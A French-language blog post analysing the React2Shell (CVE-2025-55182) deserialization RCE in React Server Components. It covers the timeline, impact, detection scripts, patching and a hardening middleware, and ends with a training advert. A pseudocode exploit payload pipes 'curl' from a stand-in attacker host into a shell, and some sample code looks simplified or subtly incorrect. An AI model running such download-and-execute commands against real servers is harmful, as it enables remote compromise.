Blog post cover

Untitled Post

React2Shell (CVE-2025-55182) : Analyse approfondie d’une vulnĂ©rabilitĂ© critique de React

Par Lachlan Davidson
DerniÚre mise à jour : 4 décembre 2025


Table des matiĂšres

  1. Introduction
  2. Contexte et chronologie
  3. Comprendre React2Shell
  4. Impact sur les écosystÚmes React et Next.js
  5. Désérialisation non sécurisée et protocole Flight
  6. Exploitation réelle et études de cas
  7. Techniques de détection et de mitigation
  8. Techniques d’exploitation avancĂ©es et analyse post-exploitation
  9. Gestion des faux positifs : ce qu’il ne faut pas croire
  10. Bonnes pratiques de correctif et de durcissement
  11. Conclusion
  12. Références

Introduction

Au cours des derniĂšres annĂ©es, l’adoption de React et de ses frameworks associĂ©s a explosĂ©, motorisant aussi bien de petits projets web que des applications d’entreprise Ă  grande Ă©chelle. Cette popularitĂ© croissante s’accompagne d’une hausse des prĂ©occupations en matiĂšre de sĂ©curitĂ©, notamment lorsque des vulnĂ©rabilitĂ©s touchent des composants critiques de l’écosystĂšme.

Le 29 novembre 2025, j’ai divulguĂ© de maniĂšre responsable Ă  l’équipe Meta une faille dĂ©vastatrice : React2Shell (CVE-2025-55182). Cette vulnĂ©rabilitĂ©, qui affecte les implĂ©mentations cĂŽtĂ© serveur de React — et plus particuliĂšrement le protocole « Flight » des React Server Components (RSC) — a Ă©tĂ© corrigĂ©e par les Ă©quipes React et Vercel le 3 dĂ©cembre 2025. Cet article propose une analyse dĂ©taillĂ©e de la faille, de ses subtilitĂ©s techniques Ă  son exploitation rĂ©elle, ainsi qu’un ensemble de bonnes pratiques de dĂ©tection et de mitigation.

Dans ce billet, vous trouverez :

  • Une explication de la vulnĂ©rabilitĂ© et de son impact sĂ©vĂšre.
  • Les dĂ©tails techniques sur l’origine et le fonctionnement de la faille.
  • Des Ă©tudes de cas rĂ©els d’exploitation et de comportement post-exploitation.
  • Des exemples de code et de commandes de scan pour dĂ©tecter les instances vulnĂ©rables.
  • Les meilleures pratiques pour corriger et durcir vos dĂ©ploiements.

Que vous soyez professionnel de la sĂ©curitĂ©, dĂ©veloppeur souhaitant comprendre les risques ou simple passionnĂ© des technologies web modernes, ce billet vous guidera des concepts fondamentaux aux techniques d’exploitation avancĂ©es et aux dĂ©fenses proactives.


Contexte et chronologie

Comprendre la chronologie est essentiel pour évaluer la gestion du risque et la rapidité de la réponse :

  • 29 novembre 2025 (PT) : divulgation responsable de la vulnĂ©rabilitĂ© par mes soins Ă  l’équipe Meta.
  • 3 dĂ©cembre 2025 (PT) : publication des premiers avis et correctifs par les Ă©quipes React et Vercel.
  • 4 dĂ©cembre 2025 : circulation de divers codes d’exploitation PoC publics, certains Ă©tant toutefois jugĂ©s non reprĂ©sentatifs de la faille rĂ©elle.
  • AprĂšs la publication des correctifs : des chercheurs (Wiz Research, Amazon Threat Intelligence, Datadog, etc.) ont observĂ© des attaques in-the-wild visant des instances Next.js et des dĂ©ploiements cloud.

Un CVE supplĂ©mentaire, CVE-2025-66478, a Ă©tĂ© attribuĂ© Ă  Next.js car React y est intĂ©grĂ© (« vendored »). Bien qu’il s’agisse d’un doublon technique de CVE-2025-55182, ce nouvel identifiant aide les Ă©quipes Ă  suivre plus finement leurs dĂ©pendances.


Comprendre React2Shell

Qu’est-ce que React2Shell ?

React2Shell est une vulnĂ©rabilitĂ© critique (CVE-2025-55182) affectant l’environnement des React Server Components via le protocole « Flight ». Elle permet une exĂ©cution de code distante (RCE) non authentifiĂ©e cĂŽtĂ© serveur Ă  cause d’une dĂ©sĂ©rialisation non sĂ©curisĂ©e dans le paquet react-server.

Principales caractéristiques :

  • GravitĂ© critique (10,0 CVSS)
  • RCE sans authentification : un simple appel HTTP suffit Ă  compromettre le serveur.
  • Configurations par dĂ©faut vulnĂ©rables : les applications Next.js créées avec create-next-app, par exemple, sont exposĂ©es si aucun durcissement n’est appliquĂ©.

Vue technique de la vulnérabilité

La faille provient du traitement des charges utiles RSC : la dĂ©sĂ©rialisation ne valide pas correctement la structure des donnĂ©es entrantes. Un attaquant peut fournir un payload malveillant qui, une fois dĂ©sĂ©rialisĂ©, entraĂźne l’exĂ©cution de code arbitraire.

Flux simplifié :

  1. Création du payload.
  2. RequĂȘte HTTP vers le serveur vulnĂ©rable.
  3. Désérialisation et exécution sans validation suffisante.
  4. RCE offrant à l’attaquant un accùs shell.

Impact sur les écosystÚmes React et Next.js

Pourquoi est-ce si dangereux ?

  1. Adoption massive de React/Next.js.
  2. FacilitĂ© d’exploitation : un script automatisĂ© peut suffire.
  3. Taux de succÚs élevé en configuration par défaut.
  4. Exposition publique : 39 % des environnements cloud sondés présentaient des instances vulnérables accessibles.

L’exception Next.js

Next.js embarque React comme dĂ©pendance interne ; les scanners qui ne lisent que le package.json peuvent passer Ă  cĂŽtĂ©. D’oĂč l’attribution du CVE-2025-66478 pour alerter spĂ©cifiquement les utilisateurs de Next.js.


Désérialisation non sécurisée et protocole Flight

La désérialisation non sécurisée

La désérialisation consiste à convertir des données (JSON, binaire, etc.) en objets exécutables. Si la validation est insuffisante, un attaquant peut injecter du code malveillant exécuté lors de la conversion.

Le protocole Flight

Flight optimise l’échange de donnĂ©es entre client et serveur pour RSC. Le manque de validation dans react-server a ouvert une brĂšche :

  1. Réception et désérialisation de la charge.
  2. Interprétation en instructions de rendu.
  3. En cas de manipulation, exécution de commandes systÚme.

Exploitation réelle et études de cas

Observations in-the-wild

  • Vol de credentials (variables d’environnement, secrets cloud).
  • Cryptominage via XMRig empaquetĂ© UPX.
  • Reconnaissance post-exploitation et persistance avancĂ©e.

Étude de cas : Next.js sur Kubernetes

Un attaquant a :

  • Obtenu un shell inversĂ©.
  • AccĂ©dĂ© aux secrets Kubernetes.
  • EscaladĂ© jusqu’à l’hĂŽte.

Étude de cas : attaques cloud

Wiz Research :

  • 39 % des environnements scannĂ©s contenaient des instances vulnĂ©rables.
  • Tentatives d’exfiltration de credentials AWS encodĂ©s en Base64.

Techniques de détection et de mitigation

Scan avec Bash et cURL

#!/bin/bash
# Scanner simple React2Shell (CVE-2025-55182)
TARGET="<url_cible>"
PAYLOAD='{"malicious":"payload"}'

echo "Scan de $TARGET..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")

if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
  echo "[!] Vulnérabilité potentielle détectée sur $TARGET"
else
  echo "[−] Aucun signe Ă©vident sur $TARGET (analyse approfondie recommandĂ©e)."
fi

Analyse des données de vulnérabilité en Python

import requests, json, sys

def scan(url):
    headers = {"Content-Type": "application/json"}
    payload = {"test": "data", "action": "simulate_deserialization"}
    print(f"Scan de {url} ...")
    try:
        r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
        if "Error processing Flight payload" in r.text:
            print(f"[!] {url} semble vulnérable")
        else:
            print(f"[-] Pas d'indication immédiate sur {url}")
    except requests.RequestException as e:
        print(f"[!] Erreur sur {url}: {e}")

for target in sys.argv[1:]:
    scan(target)

Conseils pour une surveillance efficace

  1. Protection runtime fournie par votre hébergeur.
  2. Analyse des logs pour requĂȘtes Flight suspectes.
  3. Outils de gestion de vulnérabilités intégrés au pipeline CI/CD.

Techniques d’exploitation avancĂ©es et analyse post-exploitation

DĂ©veloppement d’exploit

  • Structuration fine des payloads pour contourner validations basiques.
  • Contournement WAF/EDR.
  • ChaĂźnage de vulnĂ©rabilitĂ©s pour mouvement latĂ©ral.
// Pseudocode – payload malveillant
const payload = {
  component: "ShellExec",
  args: {
    command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
  },
  _meta: { ts: Date.now(), nonce: Math.random().toString(36).slice(2) }
};
sendToServer(JSON.stringify(payload));

Disclaimer : code fourni à titre éducatif uniquement.

Étapes post-exploitation

  • Shell inversĂ©, extraction de secrets, mouvements latĂ©raux, dĂ©ploiement de mineurs ou RAT.

Gestion des faux positifs

Des scanners peuvent signaler les fonctions :

  • vm#runInThisContext
  • child_process#exec
  • fs#writeFile

Leur simple prĂ©sence n’implique pas React2Shell. Concentrez-vous sur :

  • La consultation des avis officiels.
  • La corrĂ©lation des journaux d’exĂ©cution.
  • La surveillance comportementale runtime.

Bonnes pratiques de correctif et de durcissement

Remédiation immédiate

  1. Lire les avis officiels React/Next.js.
  2. Mettre Ă  jour vers react-server-dom* 19.0.1 / 19.1.2 / 19.2.1, etc.
  3. Activer les protections runtime (WAF, EDR).
  4. Surveiller les anomalies de désérialisation.
  5. Partager l’info-menace avec la communautĂ©.

Durcissement pour développeurs

  • Validation stricte des entrĂ©es.
  • Limiter l’exposition des endpoints Flight.
  • Audits rĂ©guliers (scans dĂ©pendances + revues de code).
  • Segmentation des environnements.
// Middleware Next.js – validation supplĂ©mentaire
import { NextResponse } from 'next/server';

export function middleware(request) {
  if (request.nextUrl.pathname.startsWith('/api/flight')) {
    try {
      const body = request.json();
      if (!body || typeof body !== 'object' || !body.component) {
        return new NextResponse('Payload invalide', { status: 400 });
      }
    } catch {
      return new NextResponse('Erreur traitement requĂȘte', { status: 400 });
    }
  }
  return NextResponse.next();
}

Conclusion

React2Shell (CVE-2025-55182) rappelle que mĂȘme les frameworks les plus populaires ne sont pas Ă  l’abri de failles critiques :

  • RCE non authentifiĂ©e extrĂȘmement simple.
  • RĂ©percussions majeures sur React et Next.js (CVE-2025-66478).
  • Exploitation dĂ©jĂ  observĂ©e dans la nature.
  • Importance de distinguer vrais signaux et faux positifs.
  • NĂ©cessitĂ© d’un cycle de mise Ă  jour et de dĂ©fense en profondeur permanent.

En maßtrisant les aspects techniques de React2Shell et le contexte menace, développeurs et équipes sécurité peuvent mieux protéger leurs applications.


Références


Ce guide complet devrait vous donner les connaissances et les outils nécessaires pour traiter React2Shell dans son intégralité, de la compréhension technique à la détection et à la mitigation pratiques. Restez à jour des avis officiels et améliorez en continu votre posture de sécurité.

Bon codage
 en toute sécurité !

🚀 PRÊT À PASSER AU NIVEAU SUPÉRIEUR ?

Faites passer votre carriÚre en cybersécurité au niveau supérieur

Si vous avez trouvé ce contenu utile, imaginez ce que vous pourriez accomplir avec notre programme de formation élite complet de 47 semaines. Rejoignez plus de 1 200 étudiants qui ont transformé leur carriÚre grùce aux techniques de l'Unité 8200.

Taux de placement de 97%
Techniques d'élite de l'Unité 8200
42 Labs pratiques